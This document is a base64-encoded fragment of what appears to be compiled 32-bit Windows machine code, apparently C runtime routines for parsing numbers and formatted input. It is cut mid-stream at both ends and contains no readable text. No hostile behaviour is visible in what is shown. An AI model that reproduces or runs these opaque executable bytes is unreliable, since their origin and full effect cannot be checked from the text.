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McibSFMP7//4udLP7//0OJnej2//+JnSz+///rP4OlvPj//wCNhcD4//+DpSz+//8AagBQjYUw/v//aMwBAABQ6Cg5AACLnSz+//+DxBCJnej2///rBoud6Pb//4uV1Pb//zP2M8nrBoud6Pb//w+2B2v2CgPwQUeJteT2//+Jvdz2//87+g+Flv7//4XJD4TzBAAAi8Ez0moKWffxiYXI9v//i8qJjbj2//+FwA+EfwMAAIP4JnYDaiZYD7YMhZ5sCBAPtjSFn2wIEIv5iYXQ9v//wecCV40EMYmFvPj//42FwPj//2oAUOjFYf//i8bB4AJQi4XQ9v//D7cEhZxsCBCNBIWYYwgQUI2FwPj//wPHUOiLav//i4W8+P//M8lBg8QYO8EPh7MAAACLtcD4//+F9nUaM8CJhez2//+JhSz+//9QjYXw9v//6Z0CAAA78XUHisHptQIAAIXbdPUzyTP/i8b3pL0w/v//A8GJhL0w/v//g9IAR4vKO/t15IXJdE+LhSz+//+D+HNzFomMhTD+//+LnSz+//9DiZ0s/v//6zQz242FwPj//4mdvPj//1NQjYUw/v//iZ0s/v//aMwBAABQ6KI3AACKw+kvAgAAi50s/v//sAHpKwIAADvZD4eOAAAAi70w/v//u8wBAACJhSz+///B4AJQjYXA+P//UI2FMP7//1NQ6F03AACDxBAzwIX/dRpQiYW8+P//iYUs/v//jYXA+P//UFPpwAEAAIudLP7//0CJnej2//87+A+EyAEAAIXbD4TAAQAAM8kz9ovH96S1MP7//wPBiYS1MP7//4PSAEaLyjvzdeTpCv///zvDjbXA+P//D5LBhMl1II21MP7//42VwPj//4mV3Pb//4TJdBKL0ImV6Pb//+sQjZUw/v//6+SL04md6Pb//4TJdQKL2DPJM/+JjVz8//+F0g+EDwEAAI2FYPz//yvwibW09v//jQS+i4QFYPz//4mFpPb//4XAdR07+Q+F3AAAACGEvWD8//+NTwGJjVz8///pxwAAADPSM8CJldj2//+L94mFvPb//4XbD4SYAAAAg/5zdFs78XUXg6S1YPz//wBAA8eJhVz8//+Lhbz2//+Ljdz2//+LBIH3paT2//8Dhdj2//+D0gABhLVg/P//i4W89v//i41c/P//g9IAQImV2Pb//0aJhbz2//87w3WghdJ0NIP+cw+E7AAAADvxdRGDpLVg/P//AI1GAYmFXPz//4vCM9IBhLVg/P//i41c/P//E9JG68iD/nMPhLgAAACLlej2//+LtbT2//9HO/oPhf/+//+LwYmNLP7//8HgAlCNhWD8//9QaMwBAACNhTD+//9Q6G41AACwAYudLP7//4PEEImd6Pb//4TAdDGLhcj2//8rhdD2//+Jhcj2//8PhYf8//+Ljbj2//+FyQ+EtwAAAIs8jTRtCBCF/3VMg6W8+P//AI2FwPj//4OlLP7//wBqAFCNhTD+//9ozAEAAFDoADUAAIuFLP7//4PEEImF6Pb//+t5M9uNhfD2//+Jnez2///pIf3//4uF6Pb//4P/AXRbhcB0VzPJi9gz9ovH96S1MP7//wPBiYS1MP7//4PSAEaLyjvzdeSLhSz+//+FyXSqg/hzD4Nw////iYyFMP7//4uFLP7//0CJhej2//+JhSz+///rBouF6Pb//4uV5Pb//4XSD4SCAAAAM8mFwHQei8Iz0gGEjTD+//+LhSz+//8T0omF6Pb//0E7yHXihdJ0WoP4c3MciZSFMP7//4udLP7//0OJnej2//+JnSz+///rP4OlvPj//wCNhcD4//+DpSz+//8AagBQjYUw/v//aMwBAABQ6PczAACLnSz+//+DxBCJnej2///rBoud6Pb//4uFzPb//4XAD4QTBAAAagoz0ln38YmF2Pb//4vKiY249v//hcAPhK0DAACD+CZ2A2omWA+2DIWebAgQD7Y0hZ9sCBCL+YmFvPb//8HnAleNBDGJhbz4//+NhcD4//9qAFDowFz//4vGweACUIuFvPb//w+3BIWcbAgQjQSFmGMIEFCNhcD4//8Dx1DohmX//4uFvPj//zPJQYPEGDvBD4eUAAAAi73A+P//hf91QzPAUImF7Pb//4mFLP7//42F8Pb//1BozAEAAI2FMP7//1DoCzMAAIPEEIudLP7//7ABiZ3o9v//i53o9v//6cECAAA7+XUEisHr7YXbdPgzyTP2i8f3pLUw/v//A8GJhLUw/v//g9IARovKO/N15OmnAAAAiYyFMP7//4udLP7//0OJnSz+///rpjvZD4fXAAAAi70w/v//u8wBAACJhSz+///B4AJQjYXA+P//UI2FMP7//1NQ6HcyAACDxBAzwIX/dRpQiYW8+P//iYUs/v//jYXA+P//UFPpPf///4udLP7//0CJnej2//87+A+ERf///4XbD4Q9////M8kz9ovH96S1MP7//wPBiYS1MP7//4PSAEaLyjvzdeSFyQ+EB////4uFLP7//4P4cw+CQv///zPbjYXA+P//U1CNhTD+//+Jnbz4//9ozAEAAFCJnSz+///o2TEAAIrDg8QQi50s/v//6cn+//87w42VwPj//w+SwYTJdQaNlTD+//+JleT2//+NlTD+//+EyXUGjZXA+P//iZXI9v//hMl0Cov4ib3c9v//6wiL+4md3Pb//4TJdQKL2DPSM/aJlVz8//+F/w+EBwEAAIuF5Pb//42NYPz//yvBiYXk9v//jQSwi4QFYPz//4mFzPb//4XAdR078g+FyAAAACGEtWD8//+NVgGJlVz8///pswAAADPAM/+JhdD2//+LzoXbD4SQAAAAg/lzdFM7ynUXg6SNYPz//wBAA8aJhVz8//+LhdD2//+Llcj2//+LBIL3pcz2//8Dx4PSAAGEjWD8//+LhdD2//+D0gBAQYmF0Pb//4v6i5Vc/P//O8N1qIX/dDSD+XMPhPwAAAA7ynURg6SNYPz//wCNQQGJhVz8//+LxzP/AYSNYPz//4uVXPz//xP/QevIg/lzD4TIAAAAi73c9v//i4Xk9v//Rjv3D4UN////i8KJlSz+///B4AJQjYVg/P//UI2FMP7//2jMAQAAUOg/MAAAg8QQsAGLnSz+//+Jnej2//+EwA+EpwAAAIuF2Pb//yuFvPb//4mF2Pb//w+FWfz//4uNuPb//4XJdEWLPI00bQgQhf8PhYgAAAAzwFCJhbz4//+JhSz+//+NhcD4//9QjYUw/v//aMwBAABQ6M4vAACDxBCLnSz+//+Jnej2//+F2w+F7AAAADPJ6QUBAAAzwFCJhez2//+JhSz+//+NhfD2//9QjYUw/v//aMwBAABQ6IkvAACDxBAywOlF////g6W8+P//AIOlLP7//wBqAOtkg/8BdKmF23StM8kz9ovH96S1MP7//wPBiYS1MP7//4PSAEaLyjvzdeSFyQ+Ecf///4uFLP7//4P4c3MZiYyFMP7//4udLP7//0OJnSz+///pU////zPAiYW8+P//iYUs/v//UI2FwPj//1CNhTD+//9ozAEAAFDo8S4AAIuFsPb//4PEEP+1qPb//w+2gAgDAABQ6J7u//9ZWWoDWOmOEQAAi4SdLP7//4OlzPb//wAPvcB0A0DrAjPAjUv/weEFA8iLheD2//+Jjbz2//87jaz2//8PgykRAACFwA+EIREAAIu91Pb//zPbM/aJneT2//8zyYmdjPr//4m13Pb//zu9xPb//w+EPQYAAIP5CQ+FBAEAAIXbD4SGAAAAM8m+AMqaOzP/i4S9kPr///fmA8GJhL2Q+v//g9IAR4vKO/t15Iu13Pb//4XJdEuLhYz6//+D+HNzFomMhZD6//+LnYz6//9DiZ2M+v//6zAzwFCJhbz4//+JhYz6//+NhcD4//9QjYWQ+v//aMwBAABQ6NktAACDxBCLnYz6//+LvdT2//+F9nRuM8mF23QYi8Yz9gGEjZD6//+LnYz6//8T9kE7y3XohfZ0TIP7c3MWibSdkPr//4udjPr//0OJnYz6///rMYOlvPj//wCNhcD4//+DpYz6//8AagBQjYWQ+v//aMwBAABQ6GEtAACLnYz6//+DxBAz9jPJD7YHa/YKA/BBR4m13Pb//4m91Pb//zu9xPb//w+F0f7//4md5Pb//4XJD4T6BAAAi8Ez0moKWffxiYXI9v//i8qJjbT2//+FwA+EbQMAAIP4JnYDaiZYD7YMhZ5sCBAPtjSFn2wIEIv5iYXY9v//wecCV40EMYmFvPj//42FwPj//2oAUOgQVv//i8bB4AJQi4XY9v//D7cEhZxsCBCNBIWYYwgQUI2FwPj//wPHUOjWXv//i4W8+P//M8lBg8QYO8EPh7MAAACLvcD4//+F/3UaM8CJhez2//+JhYz6//9QjYXw9v//6YcCAAA7+XUHisHpnwIAAIXbdPUzyTP2i8f3pLWQ+v//A8GJhLWQ+v//g9IARovKO/N15IXJdE+LhYz6//+D+HNzFomMhZD6//+LnYz6//9DiZ2M+v//6zQz242FwPj//1NQjYWQ+v//iZ28+P//aMwBAABQiZ2M+v//6O0rAACKw+kZAgAAi52M+v//sAHpFQIAADvZD4eOAAAAi72Q+v//u8wBAACJhYz6///B4AJQjYXA+P//UI2FkPr//1NQ6KgrAACDxBAzwIX/dRpQiYW8+P//iYWM+v//jYXA+P//UFPpqgEAAIudjPr//0CJneT2//87+A+EsgEAAIXbD4SqAQAAM8kz9ovH96S1kPr//wPBiYS1kPr//4PSAEaLyjvzdeTpCv///zvDjb3A+P//D5LBhMl1eY29kPr//42VwPj//4mVxPb//4mF1Pb//4TJdQiJndT2//+L2DPSM/aJlVz8//85ldT2//8PhAcBAACNhWD8//8r+Im9uPb//40Et4uEBWD8//+Jhcz2//+FwHUlO/IPhdAAAAAhhLVg/P//jVYBiZVc/P//6bsAAACNlZD6///rizPAM/+JhdD2//+LzoXbD4SQAAAAg/lzdFM7ynUXg6SNYPz//wBAA8aJhVz8//+LhdD2//+LlcT2//+LBIL3pcz2//8Dx4PSAAGEjWD8//+LhdD2//+D0gBAQYmF0Pb//4v6i5Vc/P//O8N1qIX/dDSD+XMPhBMBAAA7ynURg6SNYPz//wCNQQGJhVz8//+LxzP/AYSNYPz//4uVXPz//xP/QevIg/lzD4TfAAAAi7249v//Rju11Pb//w+FB////4vCiZWM+v//weACUI2FYPz//1BozAEAAI2FkPr//1DozykAALABg8QQi52M+v//